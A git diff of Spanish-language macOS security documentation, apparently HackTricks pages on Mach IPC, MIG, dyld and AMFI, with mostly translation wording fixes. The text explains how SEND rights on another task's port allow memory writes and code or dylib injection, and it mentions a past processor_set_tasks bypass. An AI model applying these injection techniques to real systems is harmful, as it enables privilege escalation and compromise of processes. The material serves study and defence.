3. La tarea **A** establece una **conexión** con el **servidor de arranque**, y **le envía el DERECHO DE ENVÍO** para el puerto que generó al principio.
- Recuerde que cualquiera puede obtener un DERECHO DE ENVÍO al servidor de arranque.
4. La tarea A envía un mensaje `bootstrap_register` al servidor de arranque para **asociar el puerto dado con un nombre** como `com.apple.taska`
-5. La tarea **B** interactúa con el **servidor de arranque** para ejecutar una búsqueda de arranque **lookup para el nombre del servicio** (`bootstrap_lookup`). Para que el servidor de arranque pueda responder, la tarea B le enviará un **DERECHO DE ENVÍO a un puerto que creó previamente** dentro del mensaje de búsqueda. Si la búsqueda es exitosa, el **servidor duplica el DERECHO DE ENVÍO** recibido de la tarea A y **lo transmite a la tarea B**.
+5. La tarea **B** interactúa con el **servidor de arranque** para ejecutar una **búsqueda de arranque para el nombre del servicio** (`bootstrap_lookup`). Para que el servidor de arranque pueda responder, la tarea B le enviará un **DERECHO DE ENVÍO a un puerto que creó previamente** dentro del mensaje de búsqueda. Si la búsqueda es exitosa, el **servidor duplica el DERECHO DE ENVÍO** recibido de la Tarea A y **lo transmite a la Tarea B**.
- Recuerde que cualquiera puede obtener un DERECHO DE ENVÍO al servidor de arranque.
-6. Con este DERECHO DE ENVÍO, **la tarea B** es capaz de **enviar** un **mensaje** **a la tarea A**.
-7. Para una comunicación bidireccional, generalmente la tarea **B** genera un nuevo puerto con un **DERECHO DE RECEPCIÓN** y un **DERECHO DE ENVÍO**, y otorga el **DERECHO DE ENVÍO a la tarea A** para que pueda enviar mensajes a la TAREA B (comunicación bidireccional).
+6. Con este DERECHO DE ENVÍO, **la Tarea B** es capaz de **enviar** un **mensaje** **a la Tarea A**.
+7. Para una comunicación bidireccional, generalmente la tarea **B** genera un nuevo puerto con un **DERECHO DE RECEPCIÓN** y un **DERECHO DE ENVÍO**, y otorga el **DERECHO DE ENVÍO a la Tarea A** para que pueda enviar mensajes a la TAREA B (comunicación bidireccional).
El servidor de arranque **no puede autenticar** el nombre del servicio reclamado por una tarea. Esto significa que una **tarea** podría potencialmente **suplantar cualquier tarea del sistema**, como falsamente **reclamando un nombre de servicio de autorización** y luego aprobando cada solicitud.
@@ -59,16 +59,16 @@ Luego, Apple almacena los **nombres de los servicios proporcionados por el siste
Para estos servicios predefinidos, el **proceso de búsqueda difiere ligeramente**. Cuando se busca un nombre de servicio, launchd inicia el servicio dinámicamente. El nuevo flujo de trabajo es el siguiente:
-- La tarea **B** inicia una búsqueda de arranque **lookup** para un nombre de servicio.
+- La tarea **B** inicia una **búsqueda de arranque** para un nombre de servicio.
- **launchd** verifica si la tarea está en ejecución y, si no lo está, **la inicia**.
-- La tarea **A** (el servicio) realiza un **check-in de arranque** (`bootstrap_check_in()`). Aquí, el **servidor de arranque** crea un DERECHO DE ENVÍO, lo retiene y **transfiere el DERECHO DE RECEPCIÓN a la tarea A**.
-- launchd duplica el **DERECHO DE ENVÍO y se lo envía a la tarea B**.
-- La tarea **B** genera un nuevo puerto con un **DERECHO DE RECEPCIÓN** y un **DERECHO DE ENVÍO**, y otorga el **DERECHO DE ENVÍO a la tarea A** (el svc) para que pueda enviar mensajes a la TAREA B (comunicación bidireccional).
+- La tarea **A** (el servicio) realiza un **check-in de arranque** (`bootstrap_check_in()`). Aquí, el **servidor de arranque** crea un DERECHO DE ENVÍO, lo retiene y **transfiere el DERECHO DE RECEPCIÓN a la Tarea A**.
+- launchd duplica el **DERECHO DE ENVÍO y se lo envía a la Tarea B**.
+- La tarea **B** genera un nuevo puerto con un **DERECHO DE RECEPCIÓN** y un **DERECHO DE ENVÍO**, y otorga el **DERECHO DE ENVÍO a la Tarea A** (el svc) para que pueda enviar mensajes a la TAREA B (comunicación bidireccional).
Sin embargo, este proceso solo se aplica a tareas del sistema predefinidas. Las tareas no del sistema aún operan como se describió originalmente, lo que podría permitir potencialmente la suplantación.
> [!CAUTION]
-> Por lo tanto, launchd nunca debe fallar o todo el sistema fallará.
+> Por lo tanto, launchd nunca debe fallar o todo el sistema se bloqueará.
### Un Mensaje Mach
@@ -118,14 +118,14 @@ Para lograr una **comunicación bidireccional** fácil, un proceso puede especif
Los otros campos del encabezado del mensaje son:
- `msgh_size`: el tamaño de todo el paquete.
-- `msgh_remote_port`: el puerto en el que se envía este mensaje.
+- `msgh_remote_port`: el puerto al que se envía este mensaje.
- `msgh_voucher_port`: [vouchers mach](https://robert.sesek.com/2023/6/mach_vouchers.html).
- `msgh_id`: el ID de este mensaje, que es interpretado por el receptor.
> [!CAUTION]
-> Tenga en cuenta que **los mensajes mach se envían a través de un `mach port`**, que es un canal de comunicación **de un solo receptor**, **múltiples remitentes** integrado en el núcleo mach. **Múltiples procesos** pueden **enviar mensajes** a un puerto mach, pero en cualquier momento **un solo proceso puede leer** de él.
+> Tenga en cuenta que **los mensajes mach se envían a través de un `mach port`**, que es un canal de comunicación **de un solo receptor**, **múltiples remitentes** integrado en el núcleo mach. **Múltiples procesos** pueden **enviar mensajes** a un puerto mach, pero en cualquier momento solo **un solo proceso puede leer** de él.
-Los mensajes se forman entonces por el **encabezado `mach_msg_header_t`** seguido del **cuerpo** y del **trailer** (si lo hay) y puede otorgar permiso para responder a él. En estos casos, el núcleo solo necesita pasar el mensaje de una tarea a la otra.
+Los mensajes se forman entonces por el **encabezado `mach_msg_header_t`** seguido del **cuerpo** y por el **trailer** (si lo hay) y puede otorgar permiso para responder a él. En estos casos, el núcleo solo necesita pasar el mensaje de una tarea a la otra.
Un **trailer** es **información añadida al mensaje por el núcleo** (no puede ser establecida por el usuario) que puede ser solicitada en la recepción del mensaje con las banderas `MACH_RCV_TRAILER_` (hay diferente información que se puede solicitar).
@@ -186,10 +186,10 @@ Process 71019 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
--> 0x181d3ac20 <+0>: pacibsp
-0x181d3ac24 <+4>: sub sp, sp, #0x20
-0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10]
-0x181d3ac2c <+12>: add x29, sp, #0x10
+-> 0x181d3ac20 <+0>: pacibsp
+0x181d3ac24 <+4>: sub sp, sp, #0x20
+0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10]
+0x181d3ac2c <+12>: add x29, sp, #0x10
Target 0: (SandboxedShellApp) stopped.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
@@ -202,7 +202,7 @@ frame #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
-frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
+frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
Para obtener los argumentos de **`mach_msg`**, verifica los registros. Estos son los argumentos (de [mach/message.h](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
@@ -268,8 +268,8 @@ name ipc-object rights flags boost reqs recv send sonce oref q
[...]
```
El **nombre** es el nombre predeterminado dado al puerto (ver cómo **aumenta** en los primeros 3 bytes). El **`ipc-object`** es el **identificador** único **ofuscado** del puerto.\
-Nota también cómo los puertos con solo derechos de **`send`** están **identificando al propietario** de este (nombre del puerto + pid).\
-También nota el uso de **`+`** para indicar **otras tareas conectadas al mismo puerto**.
+También note cómo los puertos con solo derechos de **`send`** están **identificando al propietario** de este (nombre del puerto + pid).\
+También note el uso de **`+`** para indicar **otras tareas conectadas al mismo puerto**.
También es posible usar [**procesxp**](https://www.newosxbook.com/tools/procexp.html) para ver también los **nombres de servicio registrados** (con SIP deshabilitado debido a la necesidad de `com.apple.system-task-port`):
```
@@ -416,7 +416,7 @@ Estos puertos están representados por un número.
Los derechos de **SEND** se pueden obtener llamando a **`host_get_special_port`** y los derechos de **RECEIVE** llamando a **`host_set_special_port`**. Sin embargo, ambas llamadas requieren el puerto **`host_priv`** al que solo puede acceder root. Además, en el pasado, root podía llamar a **`host_set_special_port`** y secuestrar arbitrariamente, lo que permitía, por ejemplo, eludir las firmas de código al secuestrar `HOST_KEXTD_PORT` (SIP ahora previene esto).
Estos se dividen en 2 grupos: Los **primeros 7 puertos son propiedad del kernel**, siendo el 1 `HOST_PORT`, el 2 `HOST_PRIV_PORT`, el 3 `HOST_IO_MASTER_PORT` y el 7 es `HOST_MAX_SPECIAL_KERNEL_PORT`.\
-Los que comienzan **desde** el número **8** son **propiedad de los demonios del sistema** y se pueden encontrar declarados en [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html).
+Los que comienzan **desde** el número **8** son **propiedad de demonios del sistema** y se pueden encontrar declarados en [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html).
- **Puerto del host**: Si un proceso tiene privilegio de **SEND** sobre este puerto, puede obtener **información** sobre el **sistema** llamando a sus rutinas como:
- `host_processor_info`: Obtener información del procesador
@@ -451,9 +451,11 @@ world.*/
#define TASK_WIRED_LEDGER_PORT 5 /* Wired resource ledger for task. */
#define TASK_PAGED_LEDGER_PORT 6 /* Paged resource ledger for task. */
```
+Desde [aquí](https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task_get_special_port.html):
+
- **TASK_KERNEL_PORT**\[derecho de envío de tarea-propia]: El puerto utilizado para controlar esta tarea. Se utiliza para enviar mensajes que afectan a la tarea. Este es el puerto devuelto por **mach_task_self (ver Puertos de Tarea a continuación)**.
-- **TASK_BOOTSTRAP_PORT**\[derecho de envío de arranque]: El puerto de arranque de la tarea. Se utiliza para enviar mensajes solicitando el retorno de otros puertos de servicio del sistema.
-- **TASK_HOST_NAME_PORT**\[derecho de envío de host-propio]: El puerto utilizado para solicitar información del host contenedor. Este es el puerto devuelto por **mach_host_self**.
+- **TASK_BOOTSTRAP_PORT**\[derecho de envío de arranque]: El puerto de arranque de la tarea. Se utiliza para enviar mensajes solicitando la devolución de otros puertos de servicio del sistema.
+- **TASK_HOST_NAME_PORT**\[derecho de envío de host-propio]: El puerto utilizado para solicitar información del host que contiene. Este es el puerto devuelto por **mach_host_self**.
- **TASK_WIRED_LEDGER_PORT**\[derecho de envío de libro mayor]: El puerto que nombra la fuente de la que esta tarea obtiene su memoria de kernel fija.
- **TASK_PAGED_LEDGER_PORT**\[derecho de envío de libro mayor]: El puerto que nombra la fuente de la que esta tarea obtiene su memoria gestionada por defecto.
@@ -479,7 +481,7 @@ Para realizar acciones dentro de la tarea, la tarea necesitaba un derecho de `EN
> [!CAUTION]
> Tenga en cuenta que con un derecho de ENVÍO sobre un puerto de tarea de una **tarea diferente**, es posible realizar tales acciones sobre una tarea diferente.
-Además, el task_port es también el puerto **`vm_map`** que permite **leer y manipular memoria** dentro de una tarea con funciones como `vm_read()` y `vm_write()`. Esto significa básicamente que una tarea con derechos de ENVÍO sobre el task_port de una tarea diferente podrá **inyectar código en esa tarea**.
+Además, el task_port también es el **`vm_map`** puerto que permite **leer y manipular memoria** dentro de una tarea con funciones como `vm_read()` y `vm_write()`. Esto significa básicamente que una tarea con derechos de ENVÍO sobre el task_port de una tarea diferente podrá **inyectar código en esa tarea**.
Recuerde que debido a que el **kernel también es una tarea**, si alguien logra obtener **permisos de ENVÍO** sobre el **`kernel_task`**, podrá hacer que el kernel ejecute cualquier cosa (jailbreaks).
@@ -487,7 +489,7 @@ Recuerde que debido a que el **kernel también es una tarea**, si alguien logra
- Estas son las restricciones para acceder al puerto (de `macos_task_policy` del binario `AppleMobileFileIntegrity`):
- Si la aplicación tiene el **`com.apple.security.get-task-allow` derecho** los procesos del **mismo usuario pueden acceder al puerto de tarea** (comúnmente agregado por Xcode para depuración). El proceso de **notarización** no lo permitirá en lanzamientos de producción.
- Las aplicaciones con el derecho **`com.apple.system-task-ports`** pueden obtener el **puerto de tarea para cualquier** proceso, excepto el kernel. En versiones anteriores se llamaba **`task_for_pid-allow`**. Esto solo se concede a aplicaciones de Apple.
-- **Root puede acceder a los puertos de tarea** de aplicaciones **no** compiladas con un **runtime endurecido** (y no de Apple).
+- **Root puede acceder a los puertos de tarea** de aplicaciones **no** compiladas con un **runtime** **endurecido** (y no de Apple).
**El puerto de nombre de tarea:** Una versión no privilegiada del _puerto de tarea_. Hace referencia a la tarea, pero no permite controlarla. Lo único que parece estar disponible a través de él es `task_info()`.
@@ -768,13 +770,13 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject
```
> [!TIP]
-> Para que esto funcione en iOS, necesitas el derecho `dynamic-codesigning` para poder hacer un ejecutable de memoria escribible.
+> Para que esto funcione en iOS, necesitas el derecho `dynamic-codesigning` para poder hacer que la memoria ejecutable sea escribible.
### Inyección de Dylib en hilo a través del puerto de tarea
-En macOS, los **hilos** pueden ser manipulados a través de **Mach** o usando la **api posix `pthread`**. El hilo que generamos en la inyección anterior fue generado usando la api Mach, por lo que **no es compatible con posix**.
+En macOS, **los hilos** pueden ser manipulados a través de **Mach** o usando **la API posix `pthread`**. El hilo que generamos en la inyección anterior fue generado usando la API Mach, por lo que **no es compatible con posix**.
-Fue posible **inyectar un simple shellcode** para ejecutar un comando porque **no necesitaba trabajar con apis** compatibles con posix, solo con Mach. **Inyecciones más complejas** necesitarían que el **hilo** también sea **compatible con posix**.
+Fue posible **inyectar un simple shellcode** para ejecutar un comando porque **no necesitaba trabajar con APIs** compatibles con posix, solo con Mach. **Inyecciones más complejas** necesitarían que el **hilo** también sea **compatible con posix**.
Por lo tanto, para **mejorar el hilo**, debería llamar a **`pthread_create_from_mach_thread`**, que **creará un pthread válido**. Luego, este nuevo pthread podría **llamar a dlopen** para **cargar un dylib** del sistema, así que en lugar de escribir un nuevo shellcode para realizar diferentes acciones, es posible cargar bibliotecas personalizadas.
@@ -1064,7 +1066,7 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
```
### Secuestro de Hilos a través del Puerto de Tarea
-En esta técnica, un hilo del proceso es secuestrado:
+En esta técnica, se secuestra un hilo del proceso:
{{#ref}}
macos-thread-injection-via-task-port.md
@@ -1105,7 +1107,7 @@ Estas son algunas APIs interesantes para interactuar con el conjunto de procesad
Como se mencionó en [**esta publicación**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/), en el pasado esto permitía eludir la protección mencionada anteriormente para obtener puertos de tarea en otros procesos y controlarlos llamando a **`processor_set_tasks`** y obteniendo un puerto de host en cada proceso.\
Hoy en día, necesitas ser root para usar esa función y esto está protegido, por lo que solo podrás obtener estos puertos en procesos no protegidos.
-Puedes intentarlo con:
+Puedes probarlo con:
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
index 483dc37d8..43a32fca9 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
@@ -40,7 +40,7 @@ server_port : mach_port_t;
n1 : uint32_t;
n2 : uint32_t);
```
-Tenga en cuenta que el primer **argumento es el puerto a enlazar** y MIG **manejará automáticamente el puerto de respuesta** (a menos que se llame a `mig_get_reply_port()` en el código del cliente). Además, el **ID de las operaciones** será **secuencial** comenzando por el ID del subsistema indicado (por lo que si una operación está obsoleta, se elimina y se utiliza `skip` para seguir usando su ID).
+Tenga en cuenta que el primer **argumento es el puerto a enlazar** y MIG **manejará automáticamente el puerto de respuesta** (a menos que se llame a `mig_get_reply_port()` en el código del cliente). Además, el **ID de las operaciones** será **secuencial** comenzando por el ID del subsistema indicado (así que si una operación está obsoleta, se elimina y se usa `skip` para seguir utilizando su ID).
Ahora use MIG para generar el código del servidor y del cliente que podrá comunicarse entre sí para llamar a la función Subtract:
```bash
@@ -138,7 +138,7 @@ OutHeadP->msgh_local_port = MACH_PORT_NULL;
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
OutHeadP->msgh_reserved = 0;
-if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
+if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;
@@ -149,9 +149,9 @@ return FALSE;
}
-Verifica las líneas resaltadas anteriormente que acceden a la función para llamar por ID.
+Verifique las líneas resaltadas anteriormente que acceden a la función para llamar por ID.
-El siguiente es el código para crear un **servidor** y **cliente** simples donde el cliente puede llamar a las funciones Subtract del servidor:
+El siguiente es el código para crear un **servidor** y un **cliente** simples donde el cliente puede llamar a las funciones Subtract del servidor:
{{#tabs}}
{{#tab name="myipc_server.c"}}
@@ -217,13 +217,13 @@ USERPREFSubtract(port, 40, 2);
### El NDR_record
-El NDR_record es exportado por `libsystem_kernel.dylib`, y es una estructura que permite a MIG **transformar datos para que sea agnóstico del sistema** en el que se está utilizando, ya que MIG fue pensado para ser utilizado entre diferentes sistemas (y no solo en la misma máquina).
+El NDR_record es exportado por `libsystem_kernel.dylib`, y es una estructura que permite a MIG **transformar datos para que sea agnóstico del sistema** en el que se está utilizando, ya que se pensó que MIG se usaría entre diferentes sistemas (y no solo en la misma máquina).
Esto es interesante porque si se encuentra `_NDR_record` en un binario como una dependencia (`jtool2 -S | grep NDR` o `nm`), significa que el binario es un cliente o servidor MIG.
Además, los **servidores MIG** tienen la tabla de despacho en `__DATA.__const` (o en `__CONST.__constdata` en el núcleo de macOS y `__DATA_CONST.__const` en otros núcleos \*OS). Esto se puede volcar con **`jtool2`**.
-Y los **clientes MIG** utilizarán el `__NDR_record` para enviar con `__mach_msg` a los servidores.
+Y los **clientes MIG** usarán el `__NDR_record` para enviar con `__mach_msg` a los servidores.
## Análisis de Binarios
@@ -250,13 +250,13 @@ Se mencionó anteriormente que la función que se encargará de **llamar a la fu
var_10 = arg0;
var_18 = arg1;
// Instrucciones iniciales para encontrar los punteros de función adecuados
-*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
+*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
*(int32_t *)(var_18 + 0xc) = 0x0;
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
*(int32_t *)(var_18 + 0x10) = 0x0;
-if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
+if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
rax = *(int32_t *)(var_10 + 0x14);
// Llamada a sign_extend_64 que puede ayudar a identificar esta función
// Esto almacena en rax el puntero a la llamada que necesita ser llamada
@@ -298,7 +298,7 @@ stack[-8] = r30;
var_10 = arg0;
var_18 = arg1;
// Instrucciones iniciales para encontrar los punteros de función adecuados
-*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
+*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
*(int32_t *)(var_18 + 0xc) = 0x0;
@@ -307,19 +307,19 @@ var_18 = arg1;
r8 = *(int32_t *)(var_10 + 0x14);
r8 = r8 - 0x1f4;
if (r8 > 0x0) {
-if (CPU_FLAGS & G) {
+if (CPU_FLAGS & G) {
r8 = 0x1;
}
}
-if ((r8 & 0x1) == 0x0) {
+if ((r8 & 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
r8 = r8 - 0x1f4;
-if (r8 < 0x0) {
-if (CPU_FLAGS & L) {
+if (r8 < 0x0) {
+if (CPU_FLAGS & L) {
r8 = 0x1;
}
}
-if ((r8 & 0x1) == 0x0) {
+if ((r8 & 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
// 0x1f4 = 500 (el ID de inicio)
r8 = r8 - 0x1f4;
@@ -328,13 +328,13 @@ r8 = *(r8 + 0x8);
var_20 = r8;
r8 = r8 - 0x0;
if (r8 != 0x0) {
-if (CPU_FLAGS & NE) {
+if (CPU_FLAGS & NE) {
r8 = 0x1;
}
}
// Mismo if else que en la versión anterior
// Ver el uso de la dirección 0x100004040 (array de direcciones de funciones)
- if ((r8 & 0x1) == 0x0) {
+ if ((r8 & 0x1) == 0x0) {
*(var_18 + 0x18) = **0x100004000;
*(int32_t *)(var_18 + 0x20) = 0xfffffed1;
var_4 = 0x0;
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md
index 22f210416..78b3fc755 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md
@@ -15,7 +15,7 @@ Por supuesto, **`dyld`** no tiene dependencias (utiliza syscalls y extractos de
### Flujo
-Dyld será cargado por **`dyldboostrap::start`**, que también cargará cosas como el **stack canary**. Esto se debe a que esta función recibirá en su vector de argumentos **`apple`** este y otros **valores** **sensibles**.
+Dyld será cargado por **`dyldboostrap::start`**, que también cargará cosas como el **canario de pila**. Esto se debe a que esta función recibirá en su vector de argumentos **`apple`** estos y otros **valores** **sensibles**.
**`dyls::_main()`** es el punto de entrada de dyld y su primera tarea es ejecutar `configureProcessRestrictions()`, que generalmente restringe las variables de entorno **`DYLD_*`** explicadas en:
@@ -28,7 +28,7 @@ Luego, mapea la caché compartida de dyld que preenlaza todas las bibliotecas de
1. comienza a cargar bibliotecas insertadas con `DYLD_INSERT_LIBRARIES` (si se permite)
2. Luego las compartidas en caché
3. Luego las importadas
-1. Luego continúa importando bibliotecas recursivamente
+1. Luego continúa importando bibliotecas recursivamente
Una vez que todas están cargadas, se ejecutan los **inicializadores** de estas bibliotecas. Estos están codificados usando **`__attribute__((constructor))`** definidos en el `LC_ROUTINES[_64]` (ahora en desuso) o por puntero en una sección marcada con `S_MOD_INIT_FUNC_POINTERS` (generalmente: **`__DATA.__MOD_INIT_FUNC`**).
@@ -47,7 +47,7 @@ Algunas secciones de stubs en el binario:
- **`__DATA.__la_symbol_ptr`**: Punteros de símbolos perezosos (vinculados en el primer acceso)
> [!WARNING]
-> Tenga en cuenta que los punteros con el prefijo "auth\_" están utilizando una clave de cifrado en proceso para protegerlo (PAC). Además, es posible usar la instrucción arm64 `BLRA[A/B]` para verificar el puntero antes de seguirlo. Y el RETA\[A/B] se puede usar en lugar de una dirección RET.\
+> Tenga en cuenta que los punteros con el prefijo "auth\_" están utilizando una clave de cifrado en proceso para protegerlo (PAC). Además, es posible utilizar la instrucción arm64 `BLRA[A/B]` para verificar el puntero antes de seguirlo. Y el RETA\[A/B] se puede usar en lugar de una dirección RET.\
> De hecho, el código en **`__TEXT.__auth_stubs`** utilizará **`braa`** en lugar de **`bl`** para llamar a la función solicitada para autenticar el puntero.
>
> También tenga en cuenta que las versiones actuales de dyld cargan **todo como no perezoso**.
@@ -61,14 +61,14 @@ int main (int argc, char **argv, char **envp, char **apple)
printf("Hi\n");
}
```
-Interesante parte de desensamblado:
+Interesante parte de desensamblaje:
```armasm
; objdump -d ./load
100003f7c: 90000000 adrp x0, 0x100003000 <_main+0x1c>
100003f80: 913e9000 add x0, x0, #4004
100003f84: 94000005 bl 0x100003f98 <_printf+0x100003f98>
```
-Es posible ver que el salto a llamar a printf va a **`__TEXT.__stubs`**:
+Es posible ver que el salto a la llamada a printf va a **`__TEXT.__stubs`**:
```bash
objdump --section-headers ./load
@@ -97,7 +97,7 @@ Disassembly of section __TEXT,__stubs:
```
puedes ver que estamos **saltando a la dirección del GOT**, que en este caso se resuelve de manera no perezosa y contendrá la dirección de la función printf.
-En otras situaciones, en lugar de saltar directamente al GOT, podría saltar a **`__DATA.__la_symbol_ptr`** que cargará un valor que representa la función que está intentando cargar, luego saltar a **`__TEXT.__stub_helper`** que salta a **`__DATA.__nl_symbol_ptr`** que contiene la dirección de **`dyld_stub_binder`** que toma como parámetros el número de la función y una dirección.\
+En otras situaciones, en lugar de saltar directamente al GOT, podría saltar a **`__DATA.__la_symbol_ptr`** que cargará un valor que representa la función que está intentando cargar, luego saltar a **`__TEXT.__stub_helper`** que salta al **`__DATA.__nl_symbol_ptr`** que contiene la dirección de **`dyld_stub_binder`** que toma como parámetros el número de la función y una dirección.\
Esta última función, después de encontrar la dirección de la función buscada, la escribe en la ubicación correspondiente en **`__TEXT.__stub_helper`** para evitar hacer búsquedas en el futuro.
> [!TIP]
@@ -142,7 +142,7 @@ es posible ver todos estos valores interesantes depurando antes de entrar en mai
lldb ./apple
(lldb) target create "./a"
-El ejecutable actual se ha establecido en '/tmp/a' (arm64).
+
Ejecutable actual establecido en '/tmp/a' (arm64).
(lldb) process launch -s
[..]
@@ -275,7 +275,7 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
- `DYLD_PRINT_STATISTICS`: Imprimir estadísticas de tiempo
- `DYLD_PRINT_STATISTICS_DETAILS`: Imprimir estadísticas de tiempo detalladas
- `DYLD_PRINT_WARNINGS`: Imprimir mensajes de advertencia
-- `DYLD_SHARED_CACHE_DIR`: Ruta a utilizar para la caché de bibliotecas compartidas
+- `DYLD_SHARED_CACHE_DIR`: Ruta a usar para la caché de bibliotecas compartidas
- `DYLD_SHARED_REGION`: "usar", "privado", "evitar"
- `DYLD_USE_CLOSURES`: Habilitar cierres
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md
index 0aea1946a..822f7e912 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md
@@ -23,7 +23,7 @@ Estas son algunas de las políticas de MACF que registra:
- **`cred_label_destroy`**: Elimina el slot de etiqueta mac de AMFI
- **`cred_label_init`**: Mueve 0 en el slot de etiqueta mac de AMFI
- **`cred_label_update_execve`:** Verifica los derechos del proceso para ver si se le debe permitir modificar las etiquetas.
-- **`file_check_mmap`:** Verifica si mmap está adquiriendo memoria y configurándola como ejecutable. En ese caso, verifica si se necesita validación de biblioteca y, de ser así, llama a la función de validación de biblioteca.
+- **`file_check_mmap`:** Verifica si mmap está adquiriendo memoria y configurándola como ejecutable. En ese caso, verifica si se necesita validación de biblioteca y, si es así, llama a la función de validación de biblioteca.
- **`file_check_library_validation`**: Llama a la función de validación de biblioteca que verifica, entre otras cosas, si un binario de plataforma está cargando otro binario de plataforma o si el proceso y el nuevo archivo cargado tienen el mismo TeamID. Ciertos derechos también permitirán cargar cualquier biblioteca.
- **`policy_initbsd`**: Configura claves NVRAM de confianza
- **`policy_syscall`**: Verifica políticas DYLD como si el binario tiene segmentos sin restricciones, si debe permitir variables de entorno... esto también se llama cuando un proceso se inicia a través de `amfi_check_dyld_policy_self()`.
@@ -32,13 +32,13 @@ Estas son algunas de las políticas de MACF que registra:
- **`amfi_exc_action_check_exception_send`**: Se envía un mensaje de excepción al depurador
- **`amfi_exc_action_label_associate & amfi_exc_action_label_copy/populate & amfi_exc_action_label_destroy & amfi_exc_action_label_init & amfi_exc_action_label_update`**: Ciclo de vida de la etiqueta durante el manejo de excepciones (depuración)
- **`proc_check_get_task`**: Verifica derechos como `get-task-allow` que permite a otros procesos obtener el puerto de tareas y `task_for_pid-allow`, que permite al proceso obtener los puertos de tareas de otros procesos. Si ninguno de esos, llama a `amfid permitunrestricteddebugging` para verificar si está permitido.
-- **`proc_check_mprotect`**: Niega si se llama a `mprotect` con la bandera `VM_PROT_TRUSTED`, que indica que la región debe ser tratada como si tuviera una firma de código válida.
+- **`proc_check_mprotect`**: Niega si `mprotect` se llama con la bandera `VM_PROT_TRUSTED`, que indica que la región debe ser tratada como si tuviera una firma de código válida.
- **`vnode_check_exec`**: Se llama cuando se cargan archivos ejecutables en memoria y establece `cs_hard | cs_kill`, lo que matará el proceso si alguna de las páginas se vuelve inválida
- **`vnode_check_getextattr`**: MacOS: Verifica `com.apple.root.installed` y `isVnodeQuarantined()`
- **`vnode_check_setextattr`**: Como obtener + com.apple.private.allow-bless y derecho equivalente de instalador interno
-- **`vnode_check_signature`**: Código que llama a XNU para verificar la firma de código utilizando derechos, caché de confianza y `amfid`
